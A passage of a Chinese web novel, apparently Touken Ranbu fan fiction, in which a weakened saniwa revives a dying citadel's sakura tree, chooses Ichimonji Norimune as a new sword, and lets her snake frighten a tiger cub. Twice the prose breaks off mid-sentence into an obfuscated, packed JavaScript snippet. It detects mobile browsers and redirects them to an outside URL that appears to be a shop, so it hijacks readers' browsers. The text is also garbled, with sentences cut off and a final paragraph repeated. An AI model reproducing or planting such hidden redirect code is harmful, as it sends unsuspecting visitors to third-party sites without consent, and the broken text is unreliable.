紧接着,以万叶樱为中心,一股波动如同投入平静湖面的石子激起的涟漪,无声却迅猛的扩散至整个本丸,更为显的震动从地底传来仿佛沉睡已久的心脏被注入了强心剂,开始缓慢而艰难的搏动。 “嗡——” 低沉的嗡鸣声并非来自万叶樱本身,而是来源于整个半位面,众人脚下的大地传来了更为清晰的震动,仿佛沉疴已久的躯体终于开始了缓慢的血液循环,以万叶樱为心脏,一股无形的波动席卷了整个本丸。 变化也是肉眼可见的。 灰蒙蒙的天空仿佛被无形的抹布擦过,虽然现在还谈不上澄澈碧蓝,但那令人压抑的灰白色褪去了不少,透出些许稀薄的光亮。 原本稀薄到基本察觉不到的灵力开始如涓涓细流般缓缓渗出,以缓慢但确实可以感知到的速度增加,相信不久之后便可以恢复到时政官方设下的最低标准。 最直观的变化来自于土地和植物,庭院中、道路旁,那些萎靡不振、枯黄垂死的草木,虽然未能瞬间焕发翠绿生机,但叶片停止了进一步的蜷缩与枯焦,一些紧贴地面的顽强杂草,甚至隐隐透出了一丝极淡的绿意。原本干硬板结的土地,似乎也多了几分不易察觉的松软。 远处,那些古朴的建筑依旧陈旧,但常年笼罩其上的那种被遗弃的颓败气息似乎被一阵清风吹散了些许。 更重要的是,本丸原本模糊、不稳定的空间壁垒此刻变得凝实了许多,那种随时可能被外敌窥破的脆弱感显著降低。 这一切变化虽然不算天翻地覆,但对于在这个死气沉沉环境中煎熬了不知多久的刀剑男士们来说,不啻于一场奇迹,他们再也无法保持完全的沉默,低低的惊呼和窃窃私语从各个角落传来。 “这……这是……”山姥切国广拉下兜帽,碧色的眼眸中充满了难以置信。 “灵力感觉好像多一点了?” “快看那边的山!之前根本没有!” “土地……土地好像也变软了一点儿。” 一道道目光再次聚集在万叶樱下那个纤细苍白的身影上,这一次他们目光中的审视、戒备和麻木被强烈的震惊、难以置信以及一丝重新燃起的、微弱的光彩所取代。 刀剑男士们看着源朝曦,第一次真正认识到这位新主所拥有的巨大力量,哪怕她看起来如此虚弱。 山姥切国广拉下兜帽的手僵在半空,碧色的眼眸死死盯着树干上那些仍在微微闪烁的暗金纹路,又猛地转向源朝曦,眼中充满了复杂的情绪。 作为初始刀的山姥切国广比其他人更清楚要唤醒这样一棵近乎彻底枯萎的万叶樱需要何等庞大的灵力,而这位新主,你按照时政的说法不应是重伤未愈吗? 审神者大人,如果你这个样子是重伤未愈,那我原先那个根本召唤不出来太刀、大太刀还有薙刀,只能勉强维持时政提供的样板房的审神者算什么? 算了,就像前任审神者说的那样,垃圾时政,吃枣药丸! 源朝曦缓缓将自己的手从万叶樱树干上收回,指尖微微颤抖,额角渗出了细密的冷汗,这次的灵力输出对她来说负担不小,几乎耗光了她这几日辛苦积攒的所有盈余。 丹田处的裂痕传来隐隐的刺痛感,不断提醒着源朝曦她自身状况依旧糟糕透顶,但在她灰蓝色眼眸深处却是一片冷静和对现状的评估。 现在的效果比源朝曦预想的要好,这棵万叶樱以及这个本丸的“饥饿”程度超乎她的想象,仅仅是一点微弱的灵力刺激就让它们如同久旱逢甘霖,立刻引发了连锁反应。 这一切都证明了这个半位面的底子还在,同时也暗示了时政对于这些二手本丸的态度——不关注、不漠视,仅仅做个表面功夫。 狐之助显然也没有料到会有如此明显的变化,它围着万叶樱转了两圈,尾巴快速摇晃,用惊喜的语气说道:“审神者大人真是太厉害了!万叶樱竟然这么快就有了反应!” “本丸的灵力环境开始改善,空间结构也稳定并扩张了!这真是太好了!只要您持续注入灵力,这里一定会恢复生机勃勃的景象!” 源朝曦淡淡的瞥了狐之助一眼,没有错过它眼中那一闪而逝的、属于监控程序的分析光芒,想必时政现在已经通过狐之助实时收到了本丸变化的报告。 现在源朝曦需要把握好分寸,既展示一定的能力以获得自主空间,又不能表现得过于强大而引起过度关注,可谁说她会一直就这样任由时政监视她了。 “距离真正的恢复还差得远呢,我的力量尚未完全恢复,需要静养。”源朝曦的声音带着明显的疲惫和沙哑,“山姥切国广,带我去天守阁。” “是,审神者大人请跟我来。”山姥切国广深吸一口气,压下心中的波澜,重新拉好兜帽,转身在前引路,这一次他的步伐更慢也更稳。 离开后山后,走向本丸中心建筑群的路似乎也变得不同了,沿途那些荒废的田垄,土壤似乎不再那么板结;闲置的马厩和工坊,虽然依旧破旧,但萦绕的那种被遗弃的死气减弱了许多。 一些原本躲在暗处的刀剑男士也渐渐显露出身形,他们或远远站着,或默默跟在后面,目光复杂地追随着源朝曦的背影。 天守阁位于本丸建筑群的最高处,是一座传统的日式阁楼,虽然外表同样显得陈旧,但整体结构完好,等到源朝曦的灵力恢复的再多一些便可以直接用灵力翻新本丸内的建筑了。 山姥切国广推开有些沉重的木门,天守阁内部倒是出乎意料的干净,显然在源朝曦到来之前,这群得到消息的刀剑男士们便特意将这里打扫过。 一层是简单的会客厅和书房,陈设极其简陋,山姥切国广表示可以后面在万屋购买相关物品,二楼则是审神者寝殿以及近侍的房间。 时政送来的初始资源整整齐齐地堆放在一楼角落,包括几个装满甲州金的箱子以及分类堆放的各种资源材料木炭、玉钢、冷却材、砥石,还有几张依赖札,旁边还有一个精致的托盘,上面放着一份卷轴——正是狐之助提到的可供选择的刀剑名单。 “这里就是天守阁了。”山姥切国广站在门口,没有要进去的意思,“日常的打扫我们会负责,如果您有什么需要可以告知我或者药研。” “药研藤四郎是短刀,比较细心,本丸的内务基本都是他在负责管理。”山姥切国广想起来时政在通知时提到过审神者极有可能是平安京时期的任务,极有可能不认识药研藤四郎,补充道。 源朝曦微微颔首,目光扫过空旷的室内最后落在角落上的那堆资源上,“资源你们搬到仓库去吧,如果有需要的地方通知我,名单我稍后会去看。” 山姥切国广会意,不在多言,躬身行了一礼:“那么请您先休息,晚些时候药研会为您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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做完这件事情的源朝曦转身拿起那份刀剑名单,展开卷轴,上面罗列着数十个名字和简单的介绍,后面附着小小的刀纹,这算是时政送给新审神者的福利,可以从规定的刀剑中挑选一振作为自己的初始刀,只不过对他们这些特殊的审神者而言规定的范围变大了罢了。 对于一个新建立的本丸来说是快速增加人手的捷径,但对于T57本丸来说,这个选择就有些微妙了,本丸内已经有了一部分刀剑,他们之间的关系盘根错节,对新主的态度也尚不明确。 此时突然引入一个“外来者”,而且还是由审神者亲自挑选的“自己人”,会打破现有的脆弱平衡吗?是会带来新的助力,还是引发不必要的矛盾? 源朝曦的目光扫过名单上的名字,她对这些刀剑的了解仅限于青竹和狐之助的简单介绍以及她曾经以浅井茶茶这个身份搅弄风云时对他们的了解,对于真实的他们具体性情如何一无所知,也并不关心这一点。 源朝曦的选择标准十分功利——哪一振刀剑最能帮助她稳定局面,减少管理负担,让她能更专注于自身? 是选择一振性格沉稳、有管理能力、可以协助山姥切国广和药研处理庶务的刀剑,来减轻她的负担?还是选择一振战斗力较强、可以带领本丸其他刀剑更有效率地完成时政任务赚取资源,实现本丸“自给自足”的刀剑?亦或是选择一振性格相对单纯、容易掌控、不会给她带来额外麻烦的刀剑? 名单上的每一个名字似乎都代表着一种可能性。 源朝曦的指尖轻轻拂过卷轴上的名字,灰蓝色的眼眸中没有任何偏好,只有冷静的权衡。 这个选择将是源朝曦接手T57本丸后落下的第一颗真正意义上的棋子,她需要仔细想想,哪一振刀剑,最能契合她目前“隐匿恢复、减少牵扯”的核心目标。 10.第十章 源朝曦的指尖在展开的卷轴上缓缓移动,墨色的字迹承载着一个个或熟悉或陌生的名字,在她沉静的眸光下依次掠过。 这份熟悉感源于她作为浅井茶茶时就已经见过名单上的大多数成员,哪怕是他们的异世界同位体;而那份陌生感则根植于此地刀剑付丧神与她原世界所认识的同位体之间可能存在的、难以预料的性格差异。 时政提供的名单颇为慷慨,从常见的、行动敏捷的短刀到较为稀有的太刀皆在其中,显然是打算提升审神者们的任职意愿。 但对于T57本丸这个内部关系已经十分错综复杂的本丸来说,引入新成员的标准必须慎之又慎,源朝曦十分清楚,一个不慎的选择便可能会打破眼下本丸脆弱的平衡。 如果选择一个性格过于强势或者是富有野心的刀剑无异于向一潭暗流涌动的深水投下巨石,顷刻间便会激化本丸内部本就微妙的关系,为源朝曦本人带来无穷无尽的纷扰,这就完全违背了她力求置身事外、减少牵扯的根本初衷。 那如果选择一个心性过于柔弱或者是需要倾注大量心血呵护的刀剑呢,那意味着源朝曦本就不裕的精力将被额外消耗,这将会成为她的一种负担。 更不要说源朝曦本就无意与这些“合租室友”们建立过分深厚的羁绊,维持适当的距离才是上上之选。 因此源朝曦需要的是一振能够起到“润滑”而非“引爆”作用的刀剑,最好表面上看起来随性不羁甚至有些不靠谱,实则拥有能自然融入环境、并能在不经意间柔和影响周遭氛围的能力,从而间接地、不着痕迹地帮助她维持局面的稳定。 源朝曦的目光细致的扫过一个个名字,最终越过那些平安京时代的刀剑名字,并非因为他们不够优秀,恰恰相反,正是因为他们与她原世界的过往牵连太深——那些熟悉的面容、曾经并肩战斗的羁绊,在此刻却要她面对在这个世界里全然陌生的打量与无声的距离。 这种强烈的割裂感如同水中望月,看得见摸不着,即便已经穿越了数十个世界,源朝曦依旧会被他们牵动心绪,因为那是她最开始的家。 而今,源朝曦需要一段安静的时光来抚平这份时空错位所带来的波澜,她需要时间做好心理准备,再去轻轻触碰那些旧人。 于是源朝曦的视线停留在一个名字上——一文字则宗,现在看来他或许正是那个能够绕开她心中暂时的壁垒,又能契合当前微妙需求的存在,更重要的是他曾经担任时政监察官这一身份,一方面深谙时政的规则与流程,另一方面肯定见过各种状况的本丸。 “就他吧,通知下时之政府。”源朝曦的指尖在卷轴上的那个名字上轻点,声音平淡的对着已经被她篡改过核心的狐之助吩咐。 “是,审神者大人。”狐之助脖子上携带的铃铛立刻展开一个光屏,开始走申请流程,同时也将源朝曦想要它传递出去的“审神者凤黯选择了一文字则宗,灵力消耗过大,正在天守阁静养”这一经过筛选的信息传递回时政。 时政的工作效率很快,或者说他们也不会在这方面为难,当然也有可能是他们急于确认这位拥有强大灵力、又选择了“麻烦”本丸的新审神者的状态和倾向,在狐之助提交申请后的几分钟内,一道传送特有的光芒便在本丸庭院中心的传送点亮起。 随着传送的光芒散去,一道欣长的身影出现在本丸略显空旷的庭院中央。 来人并未穿着常见的出阵服,而是一身笔挺的黑色Inverness cape,手中握着一把折扇,本体刀以一种合乎规范的方式持在身侧。[1] 但这份初见的严谨却被他随后的几个小动作给打破,来人微微歪头,目光像是不经心般的扫过略显荒芜但已透出一丝生机的庭院,最终落在天守阁的方向。 狐之助在察觉到来人的第一时间便小跑上前,语气恭敬:“一文字则宗大人,欢迎来到T57本丸。审神者大人正在天守阁等您。” “哦?让主上久等可非臣下所为。”一文字则宗笑眯眯地应着,目光却似有若无地掠过角落处阴影下抱臂而立的山姥切国广以及刚从一条回廊转角走出、戴着眼镜的短刀少年药研藤四郎。 一文字则宗什么也没问,只是朝着天守阁的方向迈开步子,皮鞋踩在略显松软的土地上发出轻微的声响,随着他的步履起落,那件裁剪利落的黑色长衣下摆飒然翻飞,时而掀起内衬露出一抹猝不及防的猩红,衣料摩挲间带起细微的风声与他从容不迫的呼吸叠在一起成了这个本丸里唯一清晰的节奏。 山姥切国广下意识的拉低兜帽,又在反应过来自己的动作时缓慢放下手,碧色的眼眸透过金发的缝隙追随着那个看似悠闲的身影,这振一文字则宗和想象中的不太一样。 虽然一文字则宗那身监察官的打扮让山姥切国广本能地感到不适,但对方身上却又没有丝毫时政官员常有的那种刻板或傲慢气息,难道这就是时政人类官员和刀剑官员之间的区别吗? 药研藤四郎推推眼镜,镜片反射着光,让人看不清楚他的眼神。 天守阁内,源朝曦再次站在窗边,将庭院中发生的事情尽收眼底,在看到那一身检查官服饰的一文字则宗后,她灰蓝色的眼眸中快速闪过一丝情绪波动。 选择一文字则宗固然有之前权衡的考量,但他的这身打扮是巧合还是时政的某种暗示?亦或者是这位刀剑男士本身的“趣味”? 源朝曦合上眼眸,指尖无意识地摩挲着宵雾冰凉光滑的鳞片,开始缓缓运转体内残存的微弱灵力,试图抚慰那道危险的裂痕。 “主上,一文字则宗前来拜见。”轻微的敲门声响起,门外传来那含笑的磁性嗓音。 源朝曦指尖轻轻点了点窗棂,灰蓝色的眼眸中最后一丝波澜归于沉寂,她转过身,面向门口,声音平淡无波:“进来。” 木 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制服代表着规则、审视与距离,但一文字则宗歪头的角度、含笑的唇角以及那看似不经意实则将周围一切细节尽收眼底的眼神,却又在无声地消解着这种距离感。 “一文字则宗?”源朝曦轻声说出他的名字,“你来的比我预想的要快一些。” “时政的传送技术一向值得称赞,尤其是对于重要人物方面。”一文字则宗笑眯眯的回答,手中的折扇合拢,用扇骨轻轻敲了敲自己的掌心,“更何况是派刃前来辅佐一位刚刚创造了‘奇迹’的审神者呢?” 一文字则宗的话语中带着恰到好处的恭维,但那双含笑的眼眸深处却掠过一丝极淡的探究,同时又不经意的给出一些时政的资料。 源朝曦没有接他的话茬,而是将目光转向亦步亦趋跟进来的狐之助。“狐之助,去确认一下时政发送的初始资源清单是否齐全,是否有错漏。” “是,审神者大人!”狐之助立刻领命,脖子上铃铛的光屏再次亮起,开始核对数据,专注地投入到工作中。 源朝曦的视线再次回到一文字则宗身上,她没有继续寒暄,而是直接切入主题:“想来T57本丸的情况,狐之助应该已经向你简要说明过了。” “略有耳闻。”一文字则宗微微颔首,目光似乎不经意地瞥向窗外,那里依稀可以看到几个远远观望的身影,“一个可以称得上是被时政遗弃、资源枯竭、成员关系微妙的本丸,用人类的话来说,这里应该算得上是一个烂摊子?” 一文字则宗用了“烂摊子”这个词,但语气轻松的却像是在和源朝曦谈论今天的天气,丝毫没有贬低或者畏惧的意思。 “那么作为时政的前监察官,你对此有何看法?”源朝曦直接点明了他的身份,灰蓝色的眼眸直视着他,带着一股平静的审视,她需要知道这位“退休官员”的态度。 11.第十一章 听见源朝曦的问话,一文字则宗脸上的笑意不由得加深了几分,少了几分程序化的客套,多了几分真切,他并未急于回答源朝曦的问题,而是将手中的折扇“啪”地一声优雅合拢,用扇首轻轻抵住线条优美的下颌,做出一个看似慵懒、实则专注的思考姿态。 “看法嘛,当然是‘既来之,则安之’了。”一文字则宗拖长语调,目光若有似无的扫过窗外,将本丸的景色尽收眼底,“检查官的职责在于确保规则被恪守,流程无纰漏,而眼下我只是一振被时之政府派来的、协助审神者处理本丸事物的普通刀剑而已。” “况且,一位能在无人伸出援手的情况下便令万叶樱重焕生机的主上又怎会容许此地长久沉寂下去呢?”一文字则宗踱至窗边,与源朝曦比肩而立,视线投向庭院中那些看似闲散、实则无不暗暗关注着天守阁动向的刀剑身影,“恪守本分才是臣下之道。” 一文字则宗巧妙地将“烂摊子”这个略显尖锐的评价放置一边,也并未对时政或本丸的过往置喙一词,言辞间滴水不漏,“更何况这里比我预想的还要有趣许多。” “您看,沉寂的土地开始呼吸,晦暗的天空也渐渐变得澄澈起来,甚至连本丸中流动的空气都变的活泼轻快起来。”一文字则宗“唰”地展开折扇,指向远方天际下那抹新绿萌发的山峦轮廓,语气中带着毫不掩饰的欣赏。 “能让一个被判定为‘濒临废弃’、几乎失去心跳的半位面在如此短的时间内重新焕发出这般蓬勃的生机,主上,您所展现的力量确实令人惊叹。“ 说到这里,一文字则宗微微侧首,目光重新回到源朝曦身上,眼神中对源朝曦的探究与赞叹交织在一起,最终化为一句意味深长的低语,“而您力量背后的这一切更让在下心生好奇,想要一探究竟呢。” “哦?如此不加掩饰地展露你的好奇,难道不怕这过分专注的目光被黑暗中窥伺的乌鸦捕捉了去,或是引来潜伏更深的蟒蛇将你连同这份好奇心一并吞噬殆尽吗?”源朝曦突然间问了一个风牛马不相及的问题,嘴角勾起一抹意味难辨的笑容。 一文字则宗似乎对源朝曦那句突兀却又充满隐喻的问话早有预料,他用合拢的折扇轻轻点点自己的下巴,猩红的内衬在动作间若隐若现,那双总是含着笑意的眼睛微微眯起像是听到了什么极有趣的事情。 “乌鸦?蟒蛇?”一文字则宗轻笑出声,语气中带着几分玩味,“在下不过是一个隐居已久、被拉过来‘发挥余热’的老头子罢了,若说好奇,也仅仅是对能创造出眼前这般‘奇迹’的主上以及这个与众不同的本丸感到好奇而已。” 一文字则宗收敛了几分玩笑之色,目光平和却坚定地迎上源朝曦带着审视的灰蓝色眼眸,声音放缓却字句清晰:“至于背叛,主上,一文字则宗此番显现契约的对象是您,效忠的自然也是您,时政的派遣只是途径,而非目的,我这把老骨头还不至于连这点分寸都拿捏不清。” 源朝曦静静地看了他几秒,她并未完全相信一文字则宗口中的表忠心,但她接受了他此刻展现出的态度——一种愿意合作、并且识趣地划清了与时政界限的姿态,但这对于现阶段的她而言就已经足够了。 “希望如此。”源朝曦不在关心那个充满隐喻性的问题,走到房间中央那张唯一的矮桌前坐下,同时示意一文字则宗也坐下。 一文字则宗对此从善如流,姿态优雅的跪坐在源朝曦对面,将折扇放在手边,两人的动作仿佛这不是在破败的天守阁而是在某个茶室。 “如你所见,这个本丸资源匮乏,刀剑男士的数量也不多同时心态各异。”源朝曦的声音依旧带着疲惫,但条理清晰,“按照本丸初始刀山姥切国广的介绍,对外事务目前是由他来负责,他的责任心很强,熟悉本丸过往和大部分成员的情况。” “日常内务主要由短刀药研藤四郎负责管理,目前应该是维持本丸基本运转的关键人物。” “山姥切君和药研君我方才已经见过了。”一文字则宗用扇骨轻轻敲着掌心,语气轻松,“一位是看似阴郁” “我的情况狐之助应当也告诉你了。”源朝曦继续说,灰蓝色的眼眸扫过一文字则宗,“我需要静养恢复身体,无法做到事事亲力亲为,因此本丸的日常运转仍然由山姥切国广和药研藤四郎负责,非不要不必来打扰我。” “我需要你做的是成为他们与我之间的桥梁,协助他们处理一些他们可能不便出面、或者需要更高层面协调的事务。”源朝曦的指尖无意识地在桌面上画出一个个简单符文,这是源氏巫女的入门知识。 “更重要的是利用你作为前监察官的经验确保本丸的运作至少在表面上符合时政的基本规范,避免给他们留下任何可以借题发挥的把柄。” 一文字则宗听懂了源朝曦的潜台词——她需要的是一个能让她从繁琐事务中脱身的“缓冲器”和“防火墙”,而非一个事事干预的“管理者”。 “谨遵主命。”一文字则宗微微欠身,脸上依旧是那副令人捉摸不透的笑容,“协调、补漏、维持表面合规以在必要时充当一面吸引火力的盾牌,这确实很适合我这个‘老头子’的工作。” 就在这时,轻微的敲门声再次响起。 “大人,我是药研藤四郎,给您送晚餐来了。” “请进。” 药研藤四郎端着一个托盘走进来,上面摆放着简单的饭食和一壶热茶,他的目光快速扫过室内,在看到跪坐在源朝曦对面的一文字则宗时镜片后的眼神微微闪动了一下,但很快便恢复平静。 “大人,请用。”药研藤四郎放下托盘,动作利落地摆好碗筷,目光在源朝曦略显苍白的脸上停留一瞬,随即转向一旁姿态悠闲的一文字则宗,“则宗殿。” “有劳 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源朝曦注意到了药研藤四郎那一瞬间的停顿,她伸出食指抚过宵雾冰凉光滑的头顶,“差点儿忘了介绍,这是我的伙伴——宵雾,它的性子比较安静,平时会待在我身边或者自己活动。” “当然,它并非全无脾性。”源朝曦沉吟片刻,终于找出一个相对贴切的词语,“说起来,它还有一点儿,嗯,或许可以称之为‘恶劣’的小趣味。” 这个评价让缠绕在源朝曦手腕上的宵雾似乎有些不满,细长的身体微微缩紧传递出一丝抗议的力道,但很快又放松下来,只是用那双金色的竖瞳瞥了源朝曦一眼,仿佛在责怪主人揭它的短。 源朝曦对腕间传来那点微不足道的抗议不以为意,继续对药研说道:“它偶尔会去招惹一下它觉得有趣的小动物,比如招猫逗狗。” 源朝曦的话语里带着一丝几不可察的无奈,但更多的是一种纵容,“不过你可以放心,它极有分寸,绝不会主动攻击本丸里的任何人,更不会造成真正的伤害,所以你们也无需特意费心照顾它,它自有生存之道。” “是,我明白了。”药研藤四郎很快就恢复了冷静,作为本丸的管理者之一,他需要考虑到所有影响本丸稳定的因素,“我会及时通知本丸的其他成员。” “有劳。”源朝曦微微颔首,“另外,这位是一文字则宗,时政派遣来的新成员,药研,你带他去熟悉一下本丸环境并安排住处。” 药研藤四郎的目光这才正式转向一文字则宗,他再次推了推眼镜,冷静地行礼:“药研藤四郎,则宗殿,欢迎来到T57本丸。” 一文字则宗笑眯眯地回礼,动作优雅中带着一丝随意:“哎呀,真是有劳药研殿了,叫我则宗就好,老头子我可当不起‘殿下’这么正式的称呼。” “那么,主上,我就先告退了。”一文字则宗转身跟上药研藤四郎,那身笔挺的黑色外套在他转身时划出利落的弧线,内衬的猩红一闪而逝。 12.第十二章 药研藤四郎领着新来的一文字则宗走出天守阁,回身将门轻轻关上,木门沉闷的轻响仿佛一道界限,把内外隔成了两个世界。 傍晚稀薄的光线斜斜地洒在寂静的庭院里,为景物拉出长长的影子,空气里带着凉意似乎比一文字则宗初来时要湿润、清新些许。 药研藤四郎转向身旁这位穿着与众不同的太刀,“则宗殿,我先带您熟悉一下本丸的基本布局,之后会为您安排住处。” “本丸目前主要划分为几个功能区域。”药研藤四郎一边引路,一边用平稳的声调介绍,“我们此刻所在的中心区集中了天守阁以及手合室、锻刀室、修复室等主要设施。” 药研藤四郎的话语顿了顿,语气平静无波,像是在陈述什么事是一样:“不过锻刀室自本丸的前任审神者在现世不幸罹难后,便已封存废弃,刀装室目前也几乎不再使用,毕竟制作刀装的资源也可以用来修复不少刀剑。” 一文字则宗悠闲地跟在药研身后,合拢的折扇有一下没一下地敲着掌心,姿态看似随意,目光却敏锐地扫过每一处角落。 虽然这座本丸在源朝曦到来后经历过一次“复苏”,焕发出一点儿生机,但一文字则宗目光所及之处依旧透露出一种根深蒂固、经年累月积淀下来的简陋与贫瘠。 脚下的道路由粗糙的石板铺就,许多地方已经磨损得坑坑洼洼,行走其上能感到明显的凹凸不平;远处的田地里虽有新萌的嫩绿顽强探出头来,但那土壤本身依旧能看出贫瘠干涩的底色。 视线所及的木质建筑,尽管主体结构尚且完好,但表面的油漆早已大片剥落,裸露的木材上布满了风雨常年侵蚀留下的深刻痕迹,这一切的细节都在无声却清晰地诉说着这里曾历经的漫长时光与疏于照管的荒疏。 药研藤四郎指向东边一片样式朴素、由连廊连接的建筑群:“那边是刀剑们的居所,也就是部屋,由于条件比较简陋,目前大多是多人合住。” 药研藤四郎的话语仿佛就在陈述一个再普通不过的事实,但一文字则宗却能从他那轻描淡写的“封存废弃”、“几乎不再使用”中品读出这个本丸在漫长岁月里浸透的无奈与挣扎。 “理解,毕竟资源要用在刀刃上。”一文字则宗微微颔首,目光扫过那片沉寂的锻刀室区域,扇骨在掌心轻轻一敲,“看来本丸的大家在过去一段时间里过得相当‘节俭’。” 药研藤四郎没有直接回应一文字则宗这句委婉的评论,而是继续介绍:“西边是仓库和原本的马厩,现在也都空置了。” ““马当番和畑当番很早以前就取消了,原因也很简单,为了维持生计马早就被卖了,畑当番的投入和产出不成正比,尤其是在灵力匮乏的时期。”药研藤四郎的话顿了顿,补充道。 一文字则宗了然,在缺乏灵力滋养的情况下,土地贫瘠,作物难以生长,饲养马匹更是奢望。 取消这些需要持续投入却见效缓慢的日常任务,是残酷却明智的生存选择,一文字则宗甚至可以想象那些被卖掉的马匹、荒废的田垄曾承载着怎样无声的叹息。 “手合室还在继续使用,保持我们基本的战斗力是必要的。”药研藤四郎指向一处相对完好的建筑。 两人沿着回廊缓缓前行,夕阳将他们的影子拉得长长的,在一文字则宗和药研藤四郎两人经过时,一些原本结束了本日当番正在庭院中或远处廊下活动的刀剑男士纷纷投来目光。 那些目光中,有好奇,有审视,有不易察觉的警惕,也有一丝对于“新来者”以及其“监察官”身份的本能疏离。 “如您所见,本丸的居住条件比较简陋。”药研藤四郎的语气平静无波,“部屋大多是多人合住,一方面是本丸目前资源有限;另一方面也是因为本丸刀剑的流动性一直不小。” 一文字则宗手中的折扇轻轻敲着掌心,目光扫过那些连排的、显得有些拥挤的部屋门窗,有些窗户纸已经破损,用不知名的材料勉强糊着;木质拉门上的痕迹显示它们曾被频繁地开合。 门扉开合间,一文字则宗能够能瞥见室内简单到近乎简陋的陈设以及一些刀剑男士在屋内或坐或卧的身影,他们中的一些人对上他的视线,或点头致意,或漠然移开目光,但无一例外都带着一种被漫长时光和艰苦生活磨砺出的沉静,或者说,麻木。 “来来去去,聚散无常,倒也符合这里的‘中转站’之名。”一文字则宗语气轻松,让人听不出来他到底是感慨还是单纯的陈述,但他那双含笑的眼眸深处却掠过一丝不易察觉的凝重。 T57本丸的生存状态哔一文字则宗根据报告想象的还要严峻,这不仅仅是一个“麻烦”的本丸,更像是一个在绝望边缘挣扎了太久、几乎耗尽了所有生气的地方。 这个仍然处于养伤状态的审神者大人选择这里究竟是艺高人胆大还是另有所图?一文字则宗心中的好奇又添了几分。 “可以这么理解。”药研藤四郎的脚步在一处相对独立的部屋前停下脚步,这间屋子看起来比其他的要稍微整齐一些,但也仅此而已。 “这间部屋暂时空着,之前住在这里的刀剑……”药研藤四郎的话停顿了一下,语气复杂,“上个月被其他本丸选走了,则宗殿可以看看是否合适,虽然设备有些旧,但定期打扫,还算干净。” 一文字则宗推开拉门,室内陈设极其简单,只有一张矮桌、一个简陋的壁橱和铺好的被褥,空气中弥漫着淡淡的灰尘和木材陈旧的气味。 对此,一文字则宗并不在意,反而点点头:“足够了,对于我这个老头子来说,有个能遮风避雨的地方就很好,倒是辛苦药研殿一直维持着这里的整洁。” 药研藤四郎没有接话,算是默认了这份辛苦:“本丸目前实行轮班制,主要的当番是手合练习和出阵任务。” “任务由时政任务中心发布,完成后可以获得灵力球和一些基础资源,这是目前维持本丸运转的主要方式,具体的排班和任务领取通常由山姥切殿和我负责协调。” 一文字则宗笑眯眯的点头:“了解,看来山姥切殿和药研殿将这里能打理的井井有条实属不易,主上选择这里静养也是明智之举,有二位在,想必日常事务无需她过多操心。” 一文字则宗这话说得十分漂亮,既肯定了山姥切国广和药研藤四郎的工作,也点明了源朝曦放权的态度,暗示自己不会越俎代庖。 药研藤四郎对一文字则宗的表态不置可否,伸手指了另一个方向,“则宗殿能这样想就最好,晚餐时间快到了,食堂在那边,今天晚餐应该还是粥和酱菜,资源有限,请多包涵,我先去安排其他事情了,您请自便。” “有劳药研殿。”一文字则宗躬身行礼,目送药研藤四郎利落地转身离开,直到对方的背影消失在回廊尽头,一文字则宗才直起身,脸上那抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789530|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯有的笑容淡去几分,取而代之的是一种更为深沉的审视目光。 一文字则宗环顾着这个破败却隐隐透出新生气息的本丸,又抬头望了望远处天守阁的轮廓,折扇在掌心轻轻一合,“凤黯、审神者大人。” 一文字则宗低声自语,眼中兴趣盎然,“重伤未愈却拥有唤醒枯木的力量,选择最麻烦的本丸寻求清净,身边还跟着那样一条有趣的‘小蛇’,您可真是给老头子我出了一道有趣的谜题啊。” 药研藤四郎和一文字则宗离开后,天守阁内重新恢复了寂静,源朝曦缓缓起身,走到窗边,目光透过逐渐深沉的暮色追随着那两个远去的身影。 药研藤四郎的步伐利落而沉稳,一文字则宗则显得悠闲许多,那身与周围环境格格不入的黑色斗篷在傍晚的微风中轻轻摆动。 “则宗殿曾是时政的检查官,这个身份敏感,但如果运用得当,也能成为我们一层极佳的掩护。”源朝曦的声音很轻,像是在对腕间的宵雾低语,又像是在梳理自己的思绪。 “但关键在于,他是否真如他所表现的那般识趣以及他究竟能从时政带来多少我们尚未知晓的信息。” 宵雾细长的身体动了动,冰冷的鳞片蹭过源朝曦的皮肤,它虽然不能人言,但一人一蛇之间足以让她们心意相通。 “嘶嘶。”(有些无聊了,想出去玩) 源朝曦指尖轻抚过宵雾的小脑袋,话语中充满了宠溺,“无聊了吗?那就去吧,趁着夜色初临活动一下,但要记得分寸。” 宵雾金色的竖瞳亮了一下,显然对源朝曦的这个指令十分满意,它从源朝曦腕间悄无声息地滑落,如同融化的阴影般贴着地面游走,迅速消失在房间的角落阴影里。 宵雾如同一道幽影般在本丸的角落间穿梭,寻找合适的、能够让它恶作剧的目标,很快它的目光就锁定在不远处的毛绒绒身上——正在短刀部屋附近草坪上嬉戏打闹的那几只小老虎,至于跟在它们身后、一脸担忧和温柔的五虎退完全就被它忽视了。 阴影和夜色完美隐藏了宵雾紫黑色的鳞片,它选中了一只落单的、正扑咬着草叶的小老虎,计算好角度和距离,然后如同离弦之箭般猛地从草丛中窜出,在距离小老虎鼻尖只有一寸的地方骤然停下,高高昂起头,金色的竖瞳在暮色中闪烁着冰冷而诡异的光,蛇信快速吞吐,发出轻微的“嘶嘶”声。 正玩得开心的小老虎猛地僵住,圆溜溜的眼睛瞪得老大,浑身的毛瞬间炸开,发出一声短促而惊恐的呜咽,四爪并用连连后退,一屁股坐在地上,吓得瑟瑟发抖。 正玩得开心的小老虎猛地僵住,圆溜溜的眼睛瞪得老大,浑身的毛瞬间炸开,发出一声短促而惊恐的呜咽,四爪并用连连后退,一屁股坐在地上,吓得瑟瑟发抖。 